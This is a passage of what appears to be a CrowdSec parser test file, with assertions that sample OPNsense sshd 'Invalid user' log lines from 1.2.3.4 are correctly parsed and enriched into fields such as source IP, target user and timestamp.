results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["seq_id"] == "17" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33182" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["pid"] == "86580" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["pid"] == "5560" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["seq_id"] == "19" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:59+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33184" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_type"] == "file" len(results["s01-parse"]["crowdsecurity/sshd-logs"]) == 10 results["s01-parse"]["crowdsecurity/sshd-logs"][0].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:55+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33166" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["pid"] == "44255" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["seq_id"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33168" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["pid"] == "70823" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["seq_id"] == "3" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:56+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["pid"] == "7479" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33170" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["seq_id"] == "5" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:56+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["pid"] == "61700" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33172" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["seq_id"] == "7" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33174" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["pid"] == "76836" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["seq_id"] == "9" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33176" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["pid"] == "14281" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["seq_id"] == "11" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33178" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["pid"] == "50941" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["seq_id"] == "13" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["pid"] == "65559" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33180" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["seq_id"] == "15" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33182" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["pid"] == "86580" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["seq_id"] == "17" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:59+00:00" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33184" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["seq_id"] == "19" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["stuff1"] == "38" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["pid"] == "5560" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["target_user"] == "tutu" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["datasource_path"] == "opnsense-sshd.log" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 10 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["seq_id"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "44255" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:55+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33166" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-01-19T14:23:55Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:55Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33168" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "70823" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["seq_id"] == "3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:56+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-01-19T14:23:56Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:56Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33170" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "7479" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["seq_id"] == "5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:56+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-01-19T14:23:56Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:56Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "61700" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33172" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["seq_id"] == "7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-01-19T14:23:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "76836" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["stuff2"] == "1" 